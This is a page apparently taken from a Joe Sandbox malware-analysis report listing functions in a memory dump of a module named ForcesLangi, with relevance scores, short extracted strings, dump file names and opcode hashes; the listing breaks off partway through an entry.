Function 6CE29500 Relevance: 1.8, Strings: 1, Instructions: 559COMMON

Download Yara Rule

Strings

t70p, xrefs: 6CE29AF9

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: t70p
API String ID: 0-1803443213
Opcode ID: 1bbb16efe10b4fb3d6d78aa450d4e50cc86e8e85607820d447311bb88b55e184
Instruction ID: a783cc32f762b0a15b996ec0aa407ba0a7974888724f4f796979ad07beaf8f1e
Opcode Fuzzy Hash: 1bbb16efe10b4fb3d6d78aa450d4e50cc86e8e85607820d447311bb88b55e184
Instruction Fuzzy Hash: F812EE36A556048FCB08CE7CD5917DD7BF2AB8B314F20A119E425EB7A4C63E890ACB15

Function 6CDF1010 Relevance: 1.8, Strings: 1, Instructions: 556COMMON

Download Yara Rule

Strings

bmnvidjapmuqvqlivxazircppbjomunmxpjyeiwubtphnmhendbjxyloyarbch, xrefs: 6CDF1583

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: bmnvidjapmuqvqlivxazircppbjomunmxpjyeiwubtphnmhendbjxyloyarbch
API String ID: 0-3515426038
Opcode ID: e1d2b16538e04cbe1fadafe67480b1fbf9d500f0cb5803a9a88e4ce23c257747
Instruction ID: 81f7361f69d96ef20b250b4a43511868426e99e3dc3a69ab47d65caee7970c6e
Opcode Fuzzy Hash: e1d2b16538e04cbe1fadafe67480b1fbf9d500f0cb5803a9a88e4ce23c257747
Instruction Fuzzy Hash: F70207B6744A018FD7188F3CC5957C677F2BB87324F159A19C4A6CBFA4D626E40E8B80

Function 6CE2C060 Relevance: 1.7, Strings: 1, Instructions: 481COMMON

Download Yara Rule

Strings

vx[, xrefs: 6CE2C078

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: vx[
API String ID: 0-1618767382
Opcode ID: 1489afea2681ca696c2cb5d755d06d6935a73beaeb55df8ceff4aa9f07c1c576
Instruction ID: 28d6666875bda9a0e5cc32b3fc97de76492f4320f238360a265584cc31a6c769
Opcode Fuzzy Hash: 1489afea2681ca696c2cb5d755d06d6935a73beaeb55df8ceff4aa9f07c1c576
Instruction Fuzzy Hash: 9AF1CF7AB442118FEF049E7CC9813EE77F2AB87364F2496199921D7794C23EC90A8F51

Function 6CE12760 Relevance: 1.7, Strings: 1, Instructions: 460COMMON

Download Yara Rule

Strings

=s[e, xrefs: 6CE12B8E

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: =s[e
API String ID: 0-287651873
Opcode ID: 6414cc860c766be9929b858b1d6b73c85d63d93eb6d470c23cd23299e3bf9c83
Instruction ID: 70a6401bb4cfd3cc67745af598006c39db57999d563954248c208f28518d3152
Opcode Fuzzy Hash: 6414cc860c766be9929b858b1d6b73c85d63d93eb6d470c23cd23299e3bf9c83
Instruction Fuzzy Hash: C9E11836A595418FDF08CE7CC8E93DE77F2EB67364F209215D821EBB94C22A450ACB54

Function 6CE2F0D8 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6CE2F0EE

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ff22d280a4f3d913dd47a1c8d8ccfaed8819c6dafabb9ede77269890f8acd919
Instruction ID: 7caa226cc52c4b58dca9735b8fd2e849539e679b67746d5c0be37b96f6b9b2e3
Opcode Fuzzy Hash: ff22d280a4f3d913dd47a1c8d8ccfaed8819c6dafabb9ede77269890f8acd919
Instruction Fuzzy Hash: F75190B6A122168FEB05CF55C98179EBBF0FB4A318F30842AD415EB781D3B89A41CF50

Function 6CE331E0 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b33c019277ace265abf0dd5da26408d38403146fce336ac25661ce7643274d3
Instruction ID: 3e78518c305e064eda7456e2d5c7767fe4a9b121639e17cfed4e9194f2eeec23
Opcode Fuzzy Hash: 4b33c019277ace265abf0dd5da26408d38403146fce336ac25661ce7643274d3
Instruction Fuzzy Hash: B74186B5805128AFDB109F69CC88EEABBB9AF45308F2452DDE45DD3600DA35AE85CF50

Function 6CE1E380 Relevance: 1.6, Strings: 1, Instructions: 370COMMON

Download Yara Rule

Strings

2N", xrefs: 6CE1E5B5

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: 2N"
API String ID: 0-3685128319
Opcode ID: de2497aaf4cf326aba3612de5471f164d4306ae00da4f478bbde8ac74a834f65
Instruction ID: 86ad57ffff81c38077f4eafed72ae2c85f767463fe57d1e98759d2e4912cfbdd
Opcode Fuzzy Hash: de2497aaf4cf326aba3612de5471f164d4306ae00da4f478bbde8ac74a834f65
Instruction Fuzzy Hash: CAC1C236B489428FCB08CE7CC58A3DD77F2AB4B358F249515E815E7F54C12A9E0A8B91

Function 6CE14D60 Relevance: 1.6, Strings: 1, Instructions: 340COMMON

Download Yara Rule

Strings

}Y#, xrefs: 6CE14EB0

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: }Y#
API String ID: 0-2128481213
Opcode ID: 452d89b58c327d920f005979f87eddcf2e0827a7210d0c769dabf242f0ff2654
Instruction ID: 072835e60415f9e971b6e47fa19c9aa0caf7ab0b673d2e3597c0ae828c293946
Opcode Fuzzy Hash: 452d89b58c327d920f005979f87eddcf2e0827a7210d0c769dabf242f0ff2654
Instruction Fuzzy Hash: BFB1E636A5A5068FDF08897CD5953DE3BF29B43328F319216D425DBF94C22A4A1A8B81

Function 6CE208C0 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

"Btd, xrefs: 6CE20908

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: "Btd
API String ID: 0-1508767924
Opcode ID: 76095beb85db4f3272ec180271c4029df5c04780ecbd7f0a647bf48979c53136
Instruction ID: e28c414f1267603eb61d18742984fbe5a4e85bd318a2b508733d9f61b5029cc1
Opcode Fuzzy Hash: 76095beb85db4f3272ec180271c4029df5c04780ecbd7f0a647bf48979c53136
Instruction Fuzzy Hash: F4A15A767451828FCF048D7CD5E63EE77F2AB83328F309A25C4259B7D5C22E4A0A8751

Function 6CE1A390 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

G/b, xrefs: 6CE1A3EC

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: G/b
API String ID: 0-808239343
Opcode ID: 33d24c1fad5914cb04170dc4a3aeb8981e9d822688fb18334b6928e5dae07548
Instruction ID: e177ae1424db7088a68f13ae4aff4418e32a3d55841e9f1f1474d553635276c1
Opcode Fuzzy Hash: 33d24c1fad5914cb04170dc4a3aeb8981e9d822688fb18334b6928e5dae07548
Instruction Fuzzy Hash: F991E276E88218CFCB04CFACD4846EDBBF1EF4A314F20411AE815EBB54C639984ACB51

Function 6CE12420 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

9(A, xrefs: 6CE1261F

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: 9(A
API String ID: 0-4252381773
Opcode ID: b87d1db05c18ff4670b8ab215c178a8c1892809245b771675b12381d17fa6c71
Instruction ID: 421f32f93cfb756d7d8c36725f0d7d109b18ea27c50f745018bec64332f79e72
Opcode Fuzzy Hash: b87d1db05c18ff4670b8ab215c178a8c1892809245b771675b12381d17fa6c71
Instruction Fuzzy Hash: FF81F5B5A482058FCF04CEBCC9D87DEBBF2AB57324F249119D415E7B84D2398556CB21

Function 6CDFCE50 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

Va", xrefs: 6CDFD0D6

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: Va"
API String ID: 0-2974783962
Opcode ID: 919243fc953b5cf9b5509a4abe2f5427d748635f63dd9610be88a7439bee0839
Instruction ID: 46890463cae7efbddfae2dd7d562075144629fc40fa5537fd255e1a21fed6552
Opcode Fuzzy Hash: 919243fc953b5cf9b5509a4abe2f5427d748635f63dd9610be88a7439bee0839
Instruction Fuzzy Hash: 6771F276A452058FDF04CF7CC8957DEBBF2BB8B364F21901AD460E7B64C239990A8B54

Function 6CE1B7A0 Relevance: .9, Instructions: 928COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49916591553a8a228a345fc46ca9dc96db5c25cdcc951f917ed7483687f4fcdb
Instruction ID: 46171a25eb8112cf6a500402089522f3169abad29e58bf1a158ddaa436b618d6
Opcode Fuzzy Hash: 49916591553a8a228a345fc46ca9dc96db5c25cdcc951f917ed7483687f4fcdb
Instruction Fuzzy Hash: D4623476F486448FDF08CE7CC5E53DE7BF2AB47324F205529D811DBBA1C62A990A8B41

Function 6CE1FEE0 Relevance: .7, Instructions: 720COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b189d9cb31b5cc0f4f8160ffac9b20985c571f5cb3f1f2536ed52ddef9e0adfc
Instruction ID: 99ee2f95fd11ca896995af99c0e711c99563dcc27c55ebae1e91be29ee415715
Opcode Fuzzy Hash: b189d9cb31b5cc0f4f8160ffac9b20985c571f5cb3f1f2536ed52ddef9e0adfc
Instruction Fuzzy Hash: 8F321776A456818FDF088E7CC4E57CE7BF2AB47328F349119D415DBBD4C62E840A8B94

Function 6CE269C0 Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525f921a18186e9858d89e9028e5ef03cf37f0542b37d38c1b9fe0859522cc15
Instruction ID: 03aa7c49da25071a56b83f6797ebc6741c5509f7d6144e7bb197cf37d642a3a0
Opcode Fuzzy Hash: 525f921a18186e9858d89e9028e5ef03cf37f0542b37d38c1b9fe0859522cc15
Instruction Fuzzy Hash: 1A022176A445018FCF08CEBCC5E57DE7BF2EB4B314F209619D812EB794C62E890A8B55

Function 6CE1C970 Relevance: .5, Instructions: 534COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46d4cd79c2ffee240b50334b50644000c26d2d239a81097c6215b3c295c02e9
Instruction ID: ba1bc647d913c729489f2cd1868b3e7d88b2e05ab5abec9be9ff34d1cfbfa6aa
Opcode Fuzzy Hash: d46d4cd79c2ffee240b50334b50644000c26d2d239a81097c6215b3c295c02e9
Instruction Fuzzy Hash: 3602F07AB092448FCF05CEBCC5917CD7BF2AB8B358F345525D411EBB94C23A990A8B41

Function 6CE15E30 Relevance: .5, Instructions: 520COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f547f959b27c06655039c8a8ad0f327dd81c56d799695076bc5474da9712d268
Instruction ID: e8e71ce0fe27bc53756ed9cc8a0dda4d59cd3e678647c34def572c91f430bb10
Opcode Fuzzy Hash: f547f959b27c06655039c8a8ad0f327dd81c56d799695076bc5474da9712d268
Instruction Fuzzy Hash: CA02FF76B0A5418FCF08CE6CD6953CD7BF6EB4B324F305525E415EBB95C22A8E0A8B50

Function 6CE27F20 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d05f3161547d0f86dacd05d5480c4bba9fad306636e1469172cf2237754acc0
Instruction ID: 50cffe49788e9a9ed816ab7ac3ebe3081d7b32b313cf3adbe3f3b87cf2cd96d4
Opcode Fuzzy Hash: 4d05f3161547d0f86dacd05d5480c4bba9fad306636e1469172cf2237754acc0
Instruction Fuzzy Hash: 76F1F137A81A118FDF08CE7CD5957DE77F2AB47328F20511AD910EBB94C22E8D0A8B50

Function 6CE1D5F0 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ca32240d799d11d9d8668690454f754892f44a526ea712ae968dfda176443e4
Instruction ID: 82f28cadf31a8fd1a89308f227c8c57e15d40f62e835685d291959833d6bbaac
Opcode Fuzzy Hash: 2ca32240d799d11d9d8668690454f754892f44a526ea712ae968dfda176443e4
Instruction Fuzzy Hash: 85E1167AB456058FCF05CE7CC5957DE7BF2AB47324F209619D821EBB94C2268A0ACF11

Function 6CE23720 Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf3df671fdede12d5da4f913285b72e627b536e34854eb0e22eeb32a1b6ec5d2
Instruction ID: fe31ebb6dca9fdeb51bd7ea82bb6aa60a823dd2012831381e1ee44455045ec51
Opcode Fuzzy Hash: bf3df671fdede12d5da4f913285b72e627b536e34854eb0e22eeb32a1b6ec5d2
Instruction Fuzzy Hash: 72C11576A446158FCF088E7CC4953CE7BF6EB5B324F245219D511EBB90C62E890A8F64

Function 6CE1D0C0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 678e044bdef20015465c5ad5ee2fa5126ffe7e5fbea27a7f00757d36f34d7f34
Instruction ID: 51075d25316e3ea6fb176b0ed60f37c60b1a0e624ae12ec5f02a9bc68a72319e
Opcode Fuzzy Hash: 678e044bdef20015465c5ad5ee2fa5126ffe7e5fbea27a7f00757d36f34d7f34
Instruction Fuzzy Hash: 56D1087AB196058FCF05CE7CD9957DE77F2AB4B328F244119D421E7B84C22A8A1ACB11

Function 6CE0EDF0 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa11d7d5566121d0a8349ada1fb2a4d392515e9d32fc75f73b8df7946fddc92c
Instruction ID: a1b77a159739929ffbde9a587f7b4dcee920c15210c51dc364d275f985fea528
Opcode Fuzzy Hash: aa11d7d5566121d0a8349ada1fb2a4d392515e9d32fc75f73b8df7946fddc92c
Instruction Fuzzy Hash: EEC12536B446068FCB04CEBCC1957EE7BF2AB47354F20952AD411EB7D0D62A891B8BC5

Function 6CE15210 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5babf6e07308c742723f185b17711850184bda3c9c99173beabf698a9499d997
Instruction ID: bc3c655670133d14c2d192e3e87bc62a8d653854d926b53e165715e04914d77d
Opcode Fuzzy Hash: 5babf6e07308c742723f185b17711850184bda3c9c99173beabf698a9499d997
Instruction Fuzzy Hash: ACA1037664A6468FCF048A7CC5D53DE3BF3AB43359F20551AD421DBF95C22A890ACB81

Function 6CE03E30 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
